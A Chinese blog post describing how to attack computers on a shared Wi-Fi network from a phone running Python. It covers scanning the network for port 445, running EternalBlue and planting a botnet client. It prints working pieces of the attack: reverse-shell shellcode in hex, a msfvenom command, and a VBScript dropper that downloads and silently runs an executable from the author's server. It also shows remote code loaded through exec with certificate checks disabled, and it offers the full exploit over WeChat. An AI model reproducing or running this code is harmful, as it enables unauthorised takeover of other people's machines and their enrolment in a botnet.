【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的
[TOC]
你真的会玩你的智能手机吗?
每天拿着手机只会刷个微博、刷个朋友圈、P张图?智能手机是否有更大的用途呢?
今天就来看一下我是如何用手机攻陷你电脑的!
一句话说清是怎么做的
先来说说是怎么做到的吧!四个字:永恒之蓝
还是不够明白,请继续往下看!
原理讲解
介绍下具体是怎么个攻击法吧!不感兴趣的可以直接跳到效果展示
。
第一步:对内网进行端口扫描,记录所有开放了445端口的主机;
第二步:获取手机IP,生成shellcode,使得攻击成功之后,我的手机能控制电脑;
第三步:对所有开放了445端口的主机执行永恒之蓝攻击;
第四步:攻击成功之后,通过手机控制电脑,下载并执行服务器上的“善”意代码;
本次攻击用的程序是用python实现的。
不过话虽简单,但是要在手机上把整个脚本代码跑起来,可不是那么简单的,手机上的python环境,是不能安装任何依赖库的(至少我没找到哪个python运行软件可以轻易安装依赖库)。
只要能克服这个难题,再把永恒之蓝整合进来,就一切好办了!后面会介绍怎么解决这个问题。
效果展示
先来看看攻击是什么样的效果吧!
-
这是手机上扫描和攻击的过程(先打个码吧,免得影响和谐),你没看错,整个攻击只有这一行代码!上面是代码,下面是脚本执行的时候输出的信息;
image - 攻击成功之后,被攻击的Windows的
C:\Windows\System32
上会留下一个cleanup.vbs
的脚本,该脚本会从我公网服务器上下载并执行一个木马文件(是我自己"精心"
制作的byob受控端脚本):
image -
我在我的阿里云主机上部署了byob(僵尸网络)主控端,这是攻击成功之后主控端收到的肉鸡。
【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的智能手机吗?
操作
准备条件
要完成这个过程,需要准备些什么呢?
- 智能手机一台(现在谁还缺这个?!);
- python3执行环境,注意不是编辑器,是执行器;
- 攻击代码(攻击代码实在不宜展示在这里,有兴趣的请加我微信
e4ting
,我发给你);
PS. iphone上推荐装这个python3环境(因为不要钱啊):
image
厚脸皮的把我的微信二维码也贴出来了,头像是我女票给我做的(大家有问题欢迎和我交流):
image
实际操作
- 请装好python3执行环境;
- 手机连上wifi,不可以是移动网络,否则没法进行扫描(如果你真的闲的蛋疼想攻击全网的话,也可以,那你用移动网络好了);
- 复制攻击脚本,因为里面有永恒之蓝的攻击过程,攻击脚本还是请加我微信(
e4ting
)拿吧。万一大家不小心拿到自己公司网络下执行,导致同事/老板
蓝屏就不好了!
脚本载体
整个过程只需要下面这段代码,这段代码其实只是一个空壳子,我把它叫做脚本载体
,它唯一的逻辑就是从https://www.xxx.com/
上下载xxxx.py
文件到本地,并执行。
很显然下面这段代码是不能执行的,因为没有正确的域名和路径!
import zlib,base64,marshal,urllib.request,json,ssl;ssl._create_default_https_context = ssl._create_unverified_context;exec(eval("urllib.request.urlopen('https://www.xxx.com/xxxx.py').read()"))
其实真正的逻辑在https://www.xxx.com/xxxx.py
里面。大家拿到脚本之后,可以研究具体细节辑,我这里简单介绍下,我的实现思路。
step.1 网络扫描
直接建tcp套接字connect
445端口,三次握手成功了,就关闭连接。
def port_scanner(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((host, port))
log('\t[+] 扫描到 : {}:{}'.format(host, port))
globals()["targets"].append(host)
s.close()
except KeyboardInterrupt:
return False
except:
pass
当然,这一步有个前提,就是要先获取本机IP以及,wifi所处的网络范围。
- 获取本机IP是老套路,代码网上复制的:
def get_local_ip(host="8.8.8.8"):
'''
获取本机的IP
'''
log(get_local_ip.__doc__.strip())
return [(s.connect((host, 445)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
- 获取网络范围,这个没辙了,直接写死24位掩码:
def get_network(host="192.168.0.1", netmask=24):
'''
获取待扫描的网络范围,(暂时定死支持24位掩码)
'''
log(get_network.__doc__.strip())
networks = "{addr}/{netmask}".format(addr=host, netmask=netmask)
return IPy.IP(networks, make_net=True)
- 多线程扫描,手机上貌似不支持fork,老老实实用多线程吧!
num = 8
ts = [batch_port_scaner(globals()["networks"][_::num], 445) for _ in range(0, num)]
以下是batch_port_scaner
的实现,用修饰器封装了一下。
@threadd
def batch_port_scaner(hosts, port, **kwargs):
[port_scanner(str(_), 445) for _ in hosts]
step.2 生成shellcode
实际shellcode是通过metasploit
生成的:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxx -f raw > shellcode
可是我们没有条件在手机上运行metasploit
(想想都觉得没必要吧),但是我们可以把shellcode内置在脚本里,然后获取本机IP替换掉就好了,用下面这个函数来实现。
def get_shellcode(hostip, lhost, lport):
log("正在生成 shell code...")
lhost = lhost if lhost else globals()["localhost"]
shell_code_127_0_0_1_8080 = b'FC4883E4F0E8C0000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D08B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E957FFFFFF5D49BE7773325F3332000041564989E64881ECA00100004989E549BC0200{port}{host}41544989E44C89F141BA4C772607FFD54C89EA68010100005941BA29806B00FFD550504D31C94D31C048FFC04889C248FFC04889C141BAEA0FDFE0FFD54889C76A1041584C89E24889F941BA99A57461FFD54881C44002000049B8636D640000000000415041504889E25757574D31C06A0D594150E2FC66C74424540101488D442418C600684889E6565041504150415049FFC0415049FFC84D89C14C89C141BA79CC3F86FFD54831D248FFCA8B0E41BA08871D60FFD5BBF0B5A25641BAA695BD9DFFD54883C4283C067C0A80FBE07505BB4713726F6A00594189DAFFD5'
ip = socket.gethostbyname(lhost)
_host = socket.ntohl(socket.ntohl(struct.unpack("I",socket.inet_aton(str(ip)))[0])).to_bytes(4,'little')
shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{host}', binascii.hexlify(_host))
_port = socket.ntohs(lport).to_bytes(2,'little')
shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{port}', binascii.hexlify(_port))
log("shell code 将反弹到 {}:{} ".format(lhost, lport))
return binascii.unhexlify(shell_code_127_0_0_1_8080)
其实这里可以看出用shell_reverse_tcp
(TCP反弹cmd)不是什么明智之举,应该直接让shellcode下载一个EXE文件并执行,这样效率更高,且更可靠。
但以我这个门外汉技术水平,实在无法驾驭metasploit
和其强大的 shellcode。只能用这种退而求其次
的做法。
如果要替换shellcode,这里要注意字节大小端(little-endian/big-endian)
的问题,Windows用的是little-endian
。
step.3 执行永恒之蓝攻击
接下来就进入最重要的环节了,开始永恒之蓝攻击
:
log("扫描完成,开始对以下主机实施永恒之蓝\n\t{}".format(globals()["targets"]))
win_init()
[ win_run(host=_) for _ in globals()["targets"] ]
永恒之蓝的详细过程就不把代码贴上来了,实在太长了,而且太过复杂,大家加了我微信拿到代码之后,自己去看代码吧。也是因为这部分代码攻击性太强,前面才打那么多码的。
PS. 就我个人而言,我是觉得这部分攻击代码晦涩难懂,只能看明白其中涉及的python逻辑。对于这种代码,我只有一个评价:能用起来就行了,如果不是专业的攻防人员,没必要深究。同时让我们一起说一句:感谢NSA!
step.4 通过手机给电脑种上后门
这一步其实是取决于第二步
的攻击时候用的shellcode。因为我们用的是shell_reverse_tcp
,所以攻击成功之后,手机会收到电脑反弹过来的cmd命令行,此时手机已经控制了电脑。但仅能做命令行操作。
这时我们通过反弹cmd,往电脑写入一个vbscript脚本
,并执行这个脚本,这个脚本执行之后,会取得SYSTEM
权限,这已经是Windows的最高权限了,这个权限和Administrator
已经不是一个级别了(这么描述没问题吧)。
下面是控制电脑的过程:
exploits = """@echo off
(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)
echo Sub Download^(Url,target^)
echo Const adTypeBinary = 1
echo Const adSaveCreateOverWrite = 2
echo Dim http,ado
echo Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)
echo http.open "GET",Url,False
echo http.send
echo Set ado = createobject^("Adodb.Stream"^)
echo ado.Type = adTypeBinary
echo ado.Open
echo ado.Write http.responseBody
echo ado.SaveToFile target
echo ado.Close
echo Set ws = CreateObject^("wscript.shell"^)
echo ws.Run target,0,True
echo End Sub)>cleanup.vbs
cleanup.vbs "{}" "{}"
"""
@threadd
def push_script(connection, address, **kwargs):
global exploits
exploits = exploits.format("https://www.e4ting.top/files/test.exe",
"c:\\test.exe")
data = connection.recv(1024)
log("已收到靶机 {} 反弹的cmd,开始部署脚本...".format(str(address)))
# log((address, data))
for cmd_line in exploits.split("\n"):
log(cmd_line, level="debug")
connection.send(cmd_line.encode("utf-8"))
connection.send("\n".encode("utf-8"))
log (connection.recv(4096), level="debug")
log("部署完成,靶机已受控,可以开始进行控制了")
threadd
是我自定义的一个修饰器,用来把push_script
扔到线程中去跑。
控制电脑
从push_script
的逻辑可以看出,脚本最终是把https://www.e4ting.top/files/test.exe
文件下载并执行了。这一步纯粹只是为了更好的控制电脑,其实之前手机已经控制过电脑一次了。https://www.e4ting.top/files/test.exe
也是一个python脚本,是基于byob开发的。因为byob提供了tcp反弹cmd
、截屏
、摄像头监控
、文件加密勒索
、挖矿
等实用的功能,所以整体来说,控制电脑还是比纯cmd命令行要强。且支持扩展插件开发。
远程加载python依赖库
前面已经说过,在手机上是没法安装依赖库的。没有依赖库,python势必将失去应有的色彩。既然不能安装,只有凭借代码解决!
本脚本中用到了两种远程导入依赖库的方式。
第一种方式是:直接下载执行,并修改globals()
以达到导入的目的。
如下为从https://www.e4ting.top/files
目录下引入util.py
文件。
def imports(mod="util"):
ssl._create_default_https_context = ssl._create_unverified_context
exec(eval("urllib.request.urlopen('https://www.e4ting.top/files/{}.py').read()".format(mod)), globals())
imports("util")
这种方式实现起来非常简单,它唯一的优点就是简单,不过缺点也非常明显:
- 每一个文件都要求服务器的路径和客户端使用的路径保持严格一致,一旦服务器目录发生变动,那就得改代码;
- 被导入的文件必须是完全独立的,不能再依赖其他第三方库;
第二种方式:增加一个sys.meta_path
类,并自定义find_module
和load_module
,当脚本企图import
一个本地环境不存在的库时,直接到远程服务器上搜索,并下载下来执行,修改globals()
以达到导入的目的。
如下,为将Loader
实例插入到sys.meta_path
头部。
def add_remote_repo(modules, base_url='http://localhost:8000/'):
importer = Loader(modules, base_url)
sys.meta_path.insert(0, importer)
return importer
Loader
的实现实在太长了,不贴了,全贴上来,估计诸位得看哭,请自行去这里下载观看吧:https://www.e4ting.top/files/util.py
这个方式复杂了点,但却解决了两个最重要的问题:
- 支持路径搜索,可以检索服务器上有哪些库,服务器不再关心客户端的编码;
- 自动加载依赖的库,远程库可以再依赖其他库;
注意:python的
globals()
可是个大坑,不能和C语言相提并论,所以别指望不同的文件能共享globals()
。
简单的来说,就是这种代码最好放到一个文件里。
免责申明
本文只讨论技术,虽然我很愿意共享代码,但我仅建议大家学习用,不要用作违法途径,凡是用本人的代码造成任何损失、或者法律纠纷的,我一概不负责。